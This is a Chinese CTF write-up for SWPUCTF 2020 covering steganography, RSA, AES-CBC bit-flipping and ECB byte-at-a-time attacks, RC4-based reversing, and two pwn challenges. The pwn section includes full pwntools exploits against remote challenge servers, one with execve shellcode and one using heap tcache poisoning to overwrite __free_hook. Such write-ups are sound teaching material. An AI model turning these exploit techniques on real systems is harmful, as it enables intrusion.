SWPUCTF_2020 Writeup

Web

一道也不会,我太难了

Misc

耗子尾汁

  1. 通过binwalk在gif中分离出视频:2^4_2^5_2^6.mp4
  2. 通过binwalk在上述视频中分离出压缩包。
  3. 通过肉眼看到视频中有一帧中有base64编码的文本 图片1.jpg 解密得到:sign_in
  4. 用解压密码解压压缩包,得到19_20.txt R1pCVE9OUlhHVTNES05SWkdZWVRNUVJYSEEzVEtOUlVHNFpUT09KWEdFM0RLTlJZRzRaVE9RSlhHRTNEUU5aWkdaQkRNTlpXRzQzVEdOWlpHNDRUTVFaV0lJM1RNTlpXR1k0UT09PT0=

//The last layer is the single table replacement password 5. base64解码 得到: GZBTONRXGU3DKNRZGYYTMQRXHA3TKNRUG4ZTOOJXGE3DKNRYG4ZTOQJXGE3DQNZZGZBDMNZWG43TGNZZG44TMQZWII3TMNZWGY4Q==== 6. base32解码 得到: 6C76756569616B7875647379716568737A7168796B67677379796C6B767669 7. 16进制转字符串 得到: lvueiakxudsyqehszqhykggsyylkvvi 8. 根据提示使用:quipqiup网站进行解码: 和题目要求flag格式:xxx_xxxx_xxxxxx_xx _xxxxxxxxxxxx进行比较,发现多了四位,猜测前四位内容为flag。 quipqiup.png 解密后得到flag为flag{you_have_signed_in_successfully} 

套娃

  1. 下载得到文件,修改扩展名为zip
  2. 解压出RC4data.txt文件和swpu.xls文件
  3. RC4data.txt内容为:U2FsdGVkX19uI2lzmxYrQ9mc16y7la7qc7VTS8gLaUKa49gzXPclxRXVsRJxWz/p
  4. 把swpu.xls修改为swpu.zip
  5. 解压出RC4key.zip文件和easyrc4.xlsx文件
  6. 发现RC4key.zip文件有密码,在easyrc4.xlsx文件的末端找到密码,password:6e4c834d77cba03af41e1562a5bce84e
  7. 利用密码进行解压,得到RC4key.txt,内容为:ABCDEFGHIJKLMNOPQRSTUVWXYZ
  8. RC4解密,得到ef1a73d40977a49b99b871980f355757,flag{ef1a73d40977a49b99b871980f355757}

找找吧

  1. 下载得到压缩包find.rar
  2. 在压缩包的末尾找到内容,key is PPPaAaS
  3. 解压压缩包得到文件findme.mp3和secret.rar文件
  4. 修改findme.mp3文件名为findme.zip,解压得到采茶纪.mp3和哈哈哈.png文件
  5. 发现采茶纪.mp3末尾有一段莫斯密码,听取并记录
  6. 得到:-.. ….- …– —-. -…. …– . —-. ..— -… —– .—- ..— .- .- -…
  7. 解密得到:D43963E92B012AAB
  8. 在https://www.somd5.com/ 上搜索得到解密结果:n1ce_try
  9. 解压压缩包得到hint.png和is_this_the_flag.gif文件
  10. 提取gif文件中的每一帧,发现有一帧中有内容:bFyd_W1l3_Cah
  11. 修改hint.png的长度,发现提示Veni,Vidi,Vici,百度搜索得到此内容意思为凯撒。
  12. 对bFyd_W1l3_Cah依次进行移位,解密得到:sWpu_N1c3_Try
  13. flag{sWpu_N1c3_Try}

来猜谜了

  1. 使用Stegsolve工具对图片进行Data Extract处理,勾选0位,发现开头是PK,提取文件为压缩包。
  2. 使用WinRAR修复压缩包,得到压缩包文件内容。
  3. 提取出pcap文件中键盘输入的内容,得到内容 agdxagdxagdx output :AGDXAGDXAGDX
  4. AG DX AG DX AG DX,猜测是ADFGX密码,相关介绍可以看 https://xz.aliyun.com/t/3603 这个链接,中有详细介绍,但是这道题没有进行任何的移位操作。
  5. 我们利用下面的密码表进行解密,得到内容:gogogo adfgx.png
  6. 使用outguess对图片进行解密,key = gogogo outguess -k gogogo -r mi.jpg flag.txt 这正好也印证了题目来猜谜了
  7. 解密得到flag{Out9uEsS_1s_V4rY_e4sy}

Crypto

happy

1
2
3
4
('c=', '0x7a7e031f14f6b6c3292d11a41161d2491ce8bcdc67ef1baa9eL')
('e=', '0x872a335')
#q + q*p^3 =1285367317452089980789441829580397855321901891350429414413655782431779727560841427444135440068248152908241981758331600586
#qp + q *p^2 = 1109691832903289208389283296592510864729403914873734836011311325874120780079555500202475594

公式.png 通过高精度计算可以得到p和q的值分别为

1
2
p = 1158310153629932205401500375817
q = 827089796345539312201480770649

代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
from Crypto.Util import number
import gmpy2
from Crypto.Util.number import bytes_to_long, long_to_bytes
p = 1158310153629932205401500375817
q = 827089796345539312201480770649
n = p * q
e = 141730613
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)
c = 0x7a7e031f14f6b6c3292d11a41161d2491ce8bcdc67ef1baa9e
a = pow(c,d,n)
print(long_to_bytes(a)) #b'flag{happy_rsa_1}'

Yusa的密码学课堂—CBC第一课

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from Crypto.Cipher import AES
import os

flag = 'flag{********************************}'
BLOCKSIZE = 16

def pad(data):
    pad_len = BLOCKSIZE - (len(data) % BLOCKSIZE) if len(data) % BLOCKSIZE != 0 else 0
    return data + "=" * pad_len

def unpad(data):
    return data.replace("=", "")

def enc(data, key, iv):
    cipher = AES.new(key, AES.MODE_CBC, iv)
    encrypt = cipher.encrypt(pad(data))
    return encrypt

def dec(data, key, iv):
    try:
        cipher = AES.new(key, AES.MODE_CBC, iv)
        encrypt = cipher.decrypt(data)
        return unpad(encrypt)
    except:
        exit()

def attack(m, enm, p, t):
    for i in range(len(p)):
        enm = enm[:p[i]] + chr(ord(enm[p[i]]) ^ ord(m[16 + p[i]]) ^ ord(t[i])) + enm[p[i] + 1:]
    return enm

def task():
    key = os.urandom(16)
    iv = os.urandom(16)
    pre = "yusa" * 4
    for _ in range(3):
        choice = raw_input(menu)
        if choice == '1':
            name = raw_input("What's your name?")
            if name == 'admin':
                exit()
            token = enc(pre + name, key, iv)
            print "Here is your token(in hex): " + iv.encode('hex') + token.encode('hex')

            # ive = iv.encode('hex')
            # tokene = token.encode('hex')
            token = attack(pad(pre + name), token, [0, 1, 2, 3, 4], ['a', 'd', 'm', 'i', 'n'])

            iv = attack(iv + pre, iv + token[:16], range(5), pre[:5])[:16]

            print "attack: " + iv.encode('hex') + token.encode('hex')
            continue
        elif choice == '2':
            token = raw_input("Your token(in hex): ").decode('hex')
            iv = token[:16]
            name = dec(token[16:], key, iv)
            print iv.encode('hex') + name.encode('hex')
            if name[:16] == "yusa" * 4:
                print "Hello, " + name[16:]
                if name[16:] == 'admin':
                    print flag
                    exit()
        else:
            continue

menu = '''
1. register
2. login
3. exit
'''
if __name__ == "__main__":
    task()

CBC bit翻转攻击 CBC模式中,多了一个iv(Initialization Vector)变量。 在CBC模式下,明文分组并与前一组密文进行异或操作,第一组明文与IV变量进行异或操作。 这样异或操作后再进行加密,而我们利用的就是这个。 CipherBlockChaining.png 基础原理还是看一下其他地方的吧,我也算是略知一二,在表述上还是不太在行。

1
2
3
4
5
6
7
8
def cbc_bit_attack_mul (c, m, position, target):
    l = len(position)
    r = c
    for i in range(l):
        change = position[i] - 16
        tmp = chr(ord(m[position[i]]) ^ ord(target[i]) ^ ord[c[change]])
        r = r[:change] + tmp + r[change + 1:]
    return r

c是密文,m是明文,position传入要修改的位置,target传入要修改变成的内容。 这道题由于可以控制iv数组,而且在登录的时候也会把翻转过的内容后,内容不正确的明文显示出来。 这样我们可以再利用这个攻击技巧,计算出对应的iv数组,再次进行攻击!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
r = remote('das.wetolink.com', 42888)
BLOCKSIZE = 16

def attack(m, enm, p, t):
    for i in range(len(p)):
        enm = enm[:p[i]] + chr(ord(enm[p[i]]) ^ ord(m[16 + p[i]]) ^ ord(t[i])) + enm[p[i] + 1:]
    return enm

def pad(data):
    pad_len = BLOCKSIZE - (len(data) % BLOCKSIZE) if len(data) % BLOCKSIZE != 0 else 0
    return data + "=" * pad_len

def login(token):
    r.sendlineafter('3. exit\n', "2")
    r.sendlineafter("Your token(in hex): ", token)

pre = "yusa" * 4
name = 'imwjh'
r.sendlineafter('3. exit\n', "1")
r.sendlineafter("What's your name?", name)
r.recvuntil(': ')
token = r.recvline()[:-1].decode('hex')
iv = token[:16]
data = token[16:]
data = attack(pad(pre + name), data, [0, 1, 2, 3, 4], "admin")
login(iv.encode('hex') + data.encode('hex'))

token2 = r.recvline()[:-1].decode('hex')
data2 = token2[16:]
ivn = attack(iv + data2[:16], iv + data[:16], range(len(pre)), pre)[:16]
login(ivn.encode('hex') + data.encode('hex'))
r.interactive()

Yusa的密码学课堂—ECB

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from Crypto.Cipher import AES
import os
BLOCKSIZE = 16
flag='flag{********************************}'

def pad(data):
        pad_len = BLOCKSIZE - (len(data) % BLOCKSIZE) if  len(data) % BLOCKSIZE != 0 else 0
        return data + chr(pad_len) * pad_len

def unpad(data):
        num = ord(data[-1])
        return data[:-num]

def enc(data,key):
    cipher = AES.new(key,AES.MODE_ECB)
    encrypt = cipher.encrypt(pad(data))
    return encrypt

def dec(data,key):
    try:
        cipher = AES.new(key,AES.MODE_ECB)
        encrypt = cipher.decrypt(data)
        return unpad(encrypt)
    except:
        exit()

def task():
        try:
                key = os.urandom(16)
                while True:
                        plaintext = raw_input("Amazing function: ").decode('hex')
                        yusa = plaintext+flag
                        print enc(yusa,key).encode('hex')
        except Exception as e:
                print str(e)
                exit()
if __name__ == "__main__":
	task()

ECB与CBC相比,每次加密都是按组加密的,这样的话,我们可以构造payload,按字节爆破并且验证是否正确。 看着脚本中输出的flag三角形,真的是成就感满满呢。 ecb.png

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
r = remote('das.wetolink.com', 42887)

def fun(x):
    r.sendlineafter("Amazing function: ", x)
    return r.recvline()

array = "`1234567890-=+qwertyuiop[]asdfghjkl;'zxcvbnm,./?<>!@#$%^&*()QWERTYUIOP{}ASDFGHJKLZXCVBNM:"
getFlag = "flag{"
while getFlag[-1:] != "}":
    getSign = False
    for i in array:
        tryFlag = getFlag + i
        padFlag = tryFlag[-16:]
        payload = 'a' * (16 - len(padFlag)) + padFlag + 'a' * (16 - (len(tryFlag) % 16))
        en = fun(payload.encode('hex'))
        atkpos = (len(tryFlag) // 16 + 1) * 32
        if en[: 32] == en[atkpos: atkpos + 32]:
            getFlag = tryFlag
            print tryFlag
            getSign = True
            break
    if not getSign:
        print "error"
        break
r.interactive()

这个脚本只需要修改fun函数就可以用在其他地方,具有通用性。

PWN

shellco

  1. 当名字为8个字节的时候,可以栈溢出,溢出到一个偏移地址。
  2. 偏移地址指向的是接下来可以写入的次数,默认是0xA,也就是十次,但是我们的目的是利用不断的写入来最终覆盖掉结尾处的 jmp qword ptr unk_600489
  3. 写入读入了0x10个字节,但是只能实际只能写0x8个字节,但是每次堆栈都会往上抬0x10个字节,所以直接在栈上构造shellcode的话需要避免大于0x8个字节,否则就会去执行0x00对应的汇编,不过大概也可以把eax变成一个有效值执行。
  4. 写入shellcode后再不断写入,最后覆盖到返回地址。
  5. shellcode的参数可以利用程序开头的mov r12, offset aBinSh ; "/bin/sh" 这样的话就可以构造很短的shellcode了
1
2
3
4
5
6
execve("/bin/sh", 0,0);
eax = 0xb | ebx = address 0f ‘/bin/sh’ | ecx = 0 | edx = 0
4c 89 e3  b0 0b cd 80
mov rbx,r12;
mov al,11;
int 0x80;
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
#r = process('./1_4')
r = remote('49.235.209.57', 10000)
context.log_level = "debug"
context.arch = "amd64"

def send(data):
    r.sendafter("you can say something now", data.rjust(0x8, '\x90'))

r.sendafter("name", '\xFF' * 8)
r.sendafter("chat", '\x00' * 0x28 + '\x18')
pay = asm("""
mov rbx,r12;
mov al,11;
int 0x80
""")
send(pay)
jump_addr = 0x600589
for i in range(0x10):
    send(p64(jump_addr))
r.interactive()

tnote

  1. 利用off by one修改size达到chunk overlapping的效果。
  2. Leak堆地址,利用这个计算出tcache struct的位置。
  3. 利用overlapping修改在tcache中的chunk的next指针指向到对应链表头部
  4. 修改头部指针为0x90 size的counts对应位置,修改为0xFF
  5. free 0x88大小的size,0x88是不能申请的,利用off by one来修改伪造出size位:0x91
  6. 由于counts对应0XFF > 0x7,所以不进入tcache,进入了unsorted bin
  7. unsorted bin attack得到main_arena + 96
  8. 计算出__malloc_hook的地址,利用LibcSearcher来计算得到libc基址。
  9. 计算出__free_hook,修改为system
  10. free(sh) => system(sh)
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
#r = process('./tnote')
r = remote('47.98.229.132', 10000)
context.log_level = "debug"

def choice(idx):
    r.sendlineafter("choice: ", idx)

def add(size):
    choice("A")
    r.sendlineafter("size?", str(size))

def delete(idx):
    choice("D")
    r.sendlineafter("idx?", str(idx))

def edit(idx, content):
    choice("E")
    r.sendlineafter("idx?", str(idx))
    r.sendlineafter("content:", content)

def show(idx):
    choice("S")
    r.sendlineafter("idx?", str(idx))

add(0x18) #0
add(0x18) #1 0x21 => 0x71
add(0x48) #2 0x51 => 0x91
add(0x38) #3 0x41
add(0x48) #4 0x71 => 0x91

edit(0, 'a' * 0x18 + '\x71')
delete(1)
add(0x68) #1

#tcache
delete(4) #4
delete(2) #2
#leak heap_addr
edit(1, 'a' * 0x20)
show(1)
heap_1_addr = u64(r.recvuntil("Done", drop=True)[-6:].ljust(8, '\x00'))
print "heap_1_addr: " + hex(heap_1_addr)
attack_addr = heap_1_addr - 0x2C8
size_0x90 = heap_1_addr - 0x319
edit(1, 'a' * 0x18 + p64(0x51) + p64(attack_addr))

add(0x48) #2
edit(1, 'a' * 0x18 + '\x91')
add(0x48) #4

#leak libc_addr
edit(4, p64(size_0x90))
add(0x48) #5
edit(5, '\xFF')
delete(2)
edit(1, 'a' * 0x20)
show(1)
leak_addr = u64(r.recvuntil("\x7f")[-6:].ljust(8, '\x00'))
print "leak_addr: " + hex(leak_addr)
malloc_hook_addr =  leak_addr - 96 - 0x10
print "malloc_hook_addr: " + hex(malloc_hook_addr)
libc = LibcSearcher("__malloc_hook", malloc_hook_addr)
libc_base = malloc_hook_addr - libc.dump('__malloc_hook')

#tcache attck __free_hook
edit(4, p64(libc_base + libc.dump('__free_hook')))
add(0x48) #2
edit(2, p64(libc_base + libc.dump('system')))
edit(3, 'sh\x00')
delete(3)
r.interactive()

得到flag:flag{heaP_Ee_equal_1sy} 待补充…

Reverse

RealEzRE main函数主要干了这几件事情:

  1. 创建互斥体:
1
2
3
4
if ( CreateMutex(v3) )
{
  //error
}
  1. 检查是否有参数:
1
2
3
4
if ( argc == 1 )
{
  //error
}
  1. 检查是否在调试 通过,__rdtsc取出时间运行周期,来判断是否有下断点调试,因为如果下断过的话,运行时间会较长。 绕过方法:直接在下面的部分下断。
  2. 解密shellcode,并用VirtualProtect修改权限。
  3. 执行shellcode 到这里的时候,我们可以尝试dump程序并对dump出的内容进行分析。

shellcode部分:

1
2
3
4
5
6
7
for ( i = 0; ; ++i )
{
  v1 = strlen(*((const char **)a1 + 1));
  if ( i >= v1 )
    break;
  v11[i] = *(_BYTE *)(*((_DWORD *)a1 + 1) + i);
}

这里似乎是未优化过的,类似于下面的代码,把a1的内容赋值到了v11中,并且a1的下标从1开始。 a1的内容就是参数1的内容。

1
2
for (int i = 0; i < strlen(a1); i++)
  v11[i] = a1[i + 1]  

一个不会执行的int3断点

1
2
3
4
5
if ( v1 == v2 && v1 != v2 )
{
  __debugbreak();
  __debugbreak();
}

接下来是:

1
2
memset(v10, 0, 0x408u);
rc4_init(v10, 8);

rc4_init是我分析后修改的,原因是里面的代码和rc4的初始化代码相似。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
_DWORD *__cdecl rc4_init(_DWORD *a1, int a2)
{
  _DWORD *result; // eax
  char v3[8]; // [esp+Ch] [ebp-1Ch]
  _DWORD *v4; // [esp+14h] [ebp-14h]
  int v5; // [esp+18h] [ebp-10h]
  _DWORD *v6; // [esp+1Ch] [ebp-Ch]
  int v7; // [esp+20h] [ebp-8h]
  int i; // [esp+24h] [ebp-4h]

  v3[0] = 1;
  v3[1] = 0x23;
  v3[2] = 0x45;
  v3[3] = 0x67;
  v3[4] = 0x89u;
  v3[5] = 0xABu;
  v3[6] = 0xCDu;
  v3[7] = 0xEFu;
  result = a1;
  *a1 = 0;
  a1[1] = 0;
  v6 = a1 + 2;
  for ( i = 0; i < 0x100; ++i )
  {
    v6[i] = i;
    result = (_DWORD *)(i + 1);
  }
  v7 = 0;
  v5 = 0;
  for ( i = 0; i < 0x100; ++i )
  {
    v4 = (_DWORD *)v6[i];
    v5 = (unsigned __int8)(v3[v7] + (_BYTE)v4 + v5);
    v6[i] = v6[v5];
    result = v4;
    v6[v5] = v4;
    if ( ++v7 >= a2 )
      v7 = 0;
  }
  return result;
}

通过分析可知,v3为key内容。

1
    unsigned char key[8] = { 0x01, 0x23, 0x45, 0x67, 0x89, 0xAB, 0xCD, 0xEF };

可以看出,初始化代码对字符数组s进行了初始化赋值。且赋值分别递增,之后又对s进行了236次交换操作。通过识别初始化代码,可以判断为RC4算法。

网上常见的RC4算法初始化代码如下所示:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
void rc4_init(unsigned char* s, unsigned char* key, unsigned long Len)
{
    int i = 0, j = 0;
    unsigned char k[256] = { 0 };
    unsigned char tmp = 0;
    for (i = 0; i < 256; i++) 
    {
        s[i] = i;
        k[i] = key[i % Len];
    }
    for (i = 0; i < 256; i++) 
    {
        j = (j + s[i] + k[i]) % 256;
        tmp = s[i];
        s[i] = s[j];
        s[j] = tmp;
    }
}

这里的区别就在于不把key储存在map中,而选择在超过key长度的时候让指针从头开始。

1
2
if ( ++v7 >= a2)
  v7 = 0;

这里的a2就是key长度,v7可以理解为index。

又是一个debug检测,绕过即可(修改Z标志位)。

1
2
3
4
if ( debug_check() )
{
  //error
}

接下来就是加密的内容:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
len = strlen(data);
rc4_crypt(s, data, endata, len);
for ( j = 0; j < 13; ++j )
{
  if ( endata[j] != byte_4370C8[j] )
  {
    //error
  }
}
for ( k = 0; k < 6; ++k )
{
  if ( v14[k] != byte_4370E8[k] )
  {
    //error
  }
}
for ( l = 0; l < 13; ++l )
{
  if ( v13[l] != byte_4370D8[l] )
  {
    //error
  }
}
//success

这里就是依次加密然后再进行比较,比较过程是。 前十三字节,后六字节,中间十三字节。 所以我们只需要把对应的内容提取出来,然后再对这个内容进行RC4解密即可。 调试过程中提取得到:

1
2
3
4
5
6
7
unsigned char sz[] =
{
    0x12, 0xA7, 0xF5, 0xDE, 0x75, 0x2A, 0x6E, 0x4A, 0x6E, 0x73,
    0xE6, 0x62, 0x50, 0xBF, 0x2A, 0x98, 0xFE, 0x2B, 0xDD, 0x7B,
    0xBA, 0xB6, 0x05, 0x13, 0x63, 0x57, 0x2D, 0xD4, 0x45, 0xB8,
    0xFE, 0xBC
};

最后写程序RC4解密:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include <cstdio>
#include <cstring>

unsigned char sz[] =
{
    0x12, 0xA7, 0xF5, 0xDE, 0x75, 0x2A, 0x6E, 0x4A, 0x6E, 0x73,
    0xE6, 0x62, 0x50, 0xBF, 0x2A, 0x98, 0xFE, 0x2B, 0xDD, 0x7B,
    0xBA, 0xB6, 0x05, 0x13, 0x63, 0x57, 0x2D, 0xD4, 0x45, 0xB8,
    0xFE, 0xBC
};

void rc4_init(unsigned char* s, unsigned char* key, unsigned long Len)
{
    int i = 0, j = 0;
    unsigned char k[256] = { 0 };
    unsigned char tmp = 0;
    for (i = 0; i < 256; i++) 
    {
        s[i] = i;
        k[i] = key[i % Len];
    }
    for (i = 0; i < 256; i++) 
    {
        j = (j + s[i] + k[i]) % 256;
        tmp = s[i];
        s[i] = s[j];
        s[j] = tmp;
    }
}

void rc4_crypt(unsigned char* s, unsigned char* Data, unsigned long Len)
{
    int i = 0, j = 0, t = 0;
    unsigned long k = 0;
    unsigned char tmp;
    for (k = 0; k < Len; k++)
    {
        i = (i + 1) % 256;
        j = (j + s[i]) % 256;
        tmp = s[i];
        s[i] = s[j];
        s[j] = tmp;
        t = (s[i] + s[j]) % 256;
        Data[k] ^= s[t];
    }
}

int main()
{
    unsigned char s[256];
    unsigned char key[8] = { 0x01, 0x23, 0x45, 0x67, 0x89, 0xAB, 0xCD, 0xEF };
    rc4_init(s, key, 8);
    rc4_crypt(s, sz, 32);
    printf("%s", sz);
    return 0;
}

顺便一提RC4加密解密过程是一样的,所以如果你不会写这个解密程序,可以在调试过程中把输入的字节替换成最后比对的字节,然后让程序加密后(解密),得到的内容就是应该要输入的内容,这样的做法还可以解决少量魔改的问题。 运行程序得到解密结果。 re1.png 把解密结果输入程序: reflag.png

最终flag:flag{f379eaf3c831b04de153469d1bec345e} 比赛的时候还是来不及做了,这道题是今天早上花了两三个小时做出来的。 strangeapk

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
package com.cnzzh.realapp;

import android.os.Bundle;
import android.util.Log;
import android.view.View.OnClickListener;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;
import androidx.appcompat.app.AppCompatActivity;

public class MainActivity extends AppCompatActivity {
    static {
        System.loadLibrary("native-lib");
        System.loadLibrary("hook");
    }

    public String encryption(int key, String text) {
        char[] a = text.toCharArray();
        int[] b = new int[a.length];
        String check = "";
        int i;
        for(i = 0; i < a.length; ++i) {
            if(a[i] <= 0x7A && a[i] >= 97) {
                b[i] = a[i];
                b[i] = (b[i] - 97 + key) % 26 + 97;
            }
            else if(a[i] >= 65 && a[i] <= 90) {
                b[i] = a[i];
                b[i] = (b[i] - 65 + key) % 26 + 65;
            }
            else {
                b[i] = a[i];
            }
        }

        int k;
        for(k = 0; k < a.length; ++k) {
            a[k] = (char)b[k];
            check = check + a[k];
        }

        return check;
    }

    public native int getint() {
    }

    @Override  // androidx.appcompat.app.AppCompatActivity
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        this.setContentView(0x7F09001C);  // layout:activity_main
        ((Button)this.findViewById(0x7F070022)).setOnClickListener(new View.OnClickListener() {  // id:button
            @Override  // android.view.View$OnClickListener
            public void onClick(View v) {
                Log.d("cnzzh", "after edit :" + ((EditText)this.findViewById(0x7F070037)).getText().toString());  // id:edittext
                Log.d("cnzzh", "after kaisa :" + MainActivity.this.encryption(MainActivity.this.getint(), ((EditText)this.findViewById(0x7F070037)).getText().toString()));  // id:edittext
                if(MainActivity.this.stringFromJNI(MainActivity.this.encryption(MainActivity.this.getint(), ((EditText)this.findViewById(0x7F070037)).getText().toString()))) {  // id:edittext
                    Toast.makeText(MainActivity.this, "right", 0).show();
                    return;
                }

                Toast.makeText(MainActivity.this, "wrong", 0).show();
            }
        });
    }

    public native boolean stringFromJNI(String arg1) {
    }
}

其中encryption为凯撒加密。 经过调试可知凯撒加密的key=8。 其中调用了两个native函数,stringFromJNIgetint 我们这里只关心前者,因为后者被调试输出了。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
bool __fastcall Java_com_cnzzh_realapp_MainActivity_stringFromJNI(int a1, int a2, int a3)
{
  size_t v3; // ST30_4
  _BOOL4 result; // r0
  signed int j; // [sp+1Ch] [bp-ACh]
  signed int i; // [sp+20h] [bp-A8h]
  char v7; // [sp+24h] [bp-A4h]
  char *s2; // [sp+28h] [bp-A0h]
  char *s1; // [sp+2Ch] [bp-9Ch]
  const char *v10; // [sp+34h] [bp-94h]
  bool v11; // [sp+47h] [bp-81h]
  char v12[104]; // [sp+54h] [bp-74h]
  int v13; // [sp+BCh] [bp-Ch]

  v10 = (const char *)_JNIEnv::GetStringUTFChars(a1, a3, 0);
  v3 = strlen(v10);
  s1 = (char *)malloc(0x32u);
  s2 = (char *)malloc(0x32u);
  _aeabi_memcpy4(v12, "z", 0x68);
  v7 = getInt();
  if ( v3 == 26 )
  {
    for ( i = 0; i <= 0x19; ++i )
      s1[i] = v10[i] ^ v7;
    for ( j = 0; j <= 0x19; ++j )
      s2[j] = *(_DWORD *)&v12[4 * j];
    _android_log_print(3, "C_zzh", "b is %s", s2);
    _android_log_print(3, "C_zzh", "FK is %s", s1);
    v11 = strncmp(s1, s2, 0x1Au) == 0;
  }
  else
  {
    v11 = 0;
  }
  result = v11;
  if ( _stack_chk_guard == v13 )
    result = v11;
  return result;
}

发现对我们传入的字符进行异或加密之后与一个数据进行比较, a[i] ^ key == b[i]

经过调试可知,key = 40,编写程序。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <cstdio>
#include <cstring>

unsigned char str_char[] =
{
  0x7A, 0x00, 0x00, 0x00, 0x7D, 0x00, 0x00, 0x00, 0x77, 0x00,
  0x00, 0x00, 0x79, 0x00, 0x00, 0x00, 0x47, 0x00, 0x00, 0x00,
  0x68, 0x00, 0x00, 0x00, 0x54, 0x00, 0x00, 0x00, 0x55, 0x00,
  0x00, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x63, 0x00, 0x00, 0x00,
  0x0D, 0x00, 0x00, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x63, 0x00,
  0x00, 0x00, 0x7D, 0x00, 0x00, 0x00, 0x63, 0x00, 0x00, 0x00,
  0x6B, 0x00, 0x00, 0x00, 0x4E, 0x00, 0x00, 0x00, 0x0C, 0x00,
  0x00, 0x00, 0x6E, 0x00, 0x00, 0x00, 0x5B, 0x00, 0x00, 0x00,
  0x63, 0x00, 0x00, 0x00, 0x7A, 0x00, 0x00, 0x00, 0x0D, 0x00,
  0x00, 0x00, 0x0C, 0x00, 0x00, 0x00, 0x5B, 0x00, 0x00, 0x00,
  0x41, 0x00, 0x00, 0x00
};

int main()
{
    int key = 40;
    for (int j = 0; j <= 25; ++j)
    {
        printf("%c", str_char[j * 4] ^ key);
    }   
    return 0;
}

得到输出为: \R\U\_\Q\o\@\|\}\g\K\%\g\K\U\K\C\f\$\F\s\K\R\%\$\s\i 进行凯撒移位 (26 - 8 = 18) 得到:\Z\C\_\Y\w\@\|\}\o\S\%\o\S\C\S\K\n\$\N\a\S\Z\%\$\a\q right.png

这道题我比赛的时候没做出来,因为我看到有个hook.so。而且在异或测试的时候,发现异或出来一个内容为。 fakeflag.jpg 然后我以为hook.so在运行的时候把这段内存修改掉了。结果之后调试才发现并不是(比赛的时候没发现查看log的方法)。 对了,查看log的指令:adb logcat

0%